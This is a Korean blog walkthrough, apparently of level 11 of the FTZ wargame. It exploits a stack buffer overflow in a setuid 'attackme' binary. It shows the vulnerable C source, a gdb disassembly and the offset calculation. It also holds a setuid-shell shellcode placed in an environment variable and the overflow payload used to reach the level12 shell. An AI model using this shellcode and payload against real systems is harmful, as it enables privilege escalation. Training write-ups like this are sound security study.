티스토리 뷰

System/FTZ

[FTZ] level11

MitNy 2017. 9. 18. 16:53


level11 의 파일 목록은 지금까지와 조금 다르다

hint 말고도 attackme 라는게 있다 게다가 level12 가 붙어있다

attackme를 attack 하면 level12로 넘어가거나, pw를 알려줄 것 같다.


힌트는 다음과 같다.

[level11@ftz level11]$ cat hint


#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

char str[256];


  setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}




attackme를 그냥 실행시키면 Segmentation fault가 뜬다.




[level11@ftz level11]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>: push   ebp

0x08048471 <main+1>: mov    ebp,esp

0x08048473 <main+3>: sub    esp,0x108

0x08048479 <main+9>: sub    esp,0x8

0x0804847c <main+12>: push   0xc14

0x08048481 <main+17>: push   0xc14

0x08048486 <main+22>: call   0x804834c <setreuid>

0x0804848b <main+27>: add    esp,0x10

0x0804848e <main+30>: sub    esp,0x8

0x08048491 <main+33>: mov    eax,DWORD PTR [ebp+12]

0x08048494 <main+36>: add    eax,0x4

0x08048497 <main+39>: push   DWORD PTR [eax]

0x08048499 <main+41>: lea    eax,[ebp-264]

0x0804849f <main+47>: push   eax

0x080484a0 <main+48>: call   0x804835c <strcpy>

0x080484a5 <main+53>: add    esp,0x10

0x080484a8 <main+56>: sub    esp,0xc

0x080484ab <main+59>: lea    eax,[ebp-264]

0x080484b1 <main+65>: push   eax

0x080484b2 <main+66>: call   0x804833c <printf>

0x080484b7 <main+71>: add    esp,0x10

0x080484ba <main+74>: leave

0x080484bb <main+75>: ret

0x080484bc <main+76>: nop

0x080484bd <main+77>: nop

0x080484be <main+78>: nop

0x080484bf <main+79>: nop

End of assembler dump.





0x08048473 <main+3>: sub    esp,0x108

0x08048479 <main+9>: sub    esp,0x8


여기서 

0x108 - 0x8 을 하면 256이 나온다.

0x8은 dummy값.



str[256]+ dummy(8) + SFP(4)+ RET(4)


그럼 RET 주소까지 가려면 256+8+4  = 268 바이트가 필요하다


환경변수로 shellcode를 추가해주려면 이렇게 입력해주면 된다.


export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


그 뒤에 SHELLCODE의 주소를 출력해주는 코드를 짜서 컴파일 후 실행시킨다.





shellcode의 주소까지 구했고 RET주소까지 접근하기 위해

아무 문자를 268개 넣어준 후, shellcode의 주소를 넣어주면 된다.


./attackme `python -c 'print "A"*268+"\x1e\xfc\xff\xbf"'`



위의 페이로드를 입력하면 level12의 쉘을 얻게 되고 my-pass를 통해 level12의 패스워드를 알아냈다.



Level12 Password is "it is like this".



'System > FTZ' 카테고리의 다른 글

[FTZ] level13  (3) 2017.09.21
[FTZ] level12  (0) 2017.09.20
[FTZ] level10  (0) 2017.09.14
[FTZ] level9  (0) 2017.09.13
[FTZ] level8  (0) 2017.09.11
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함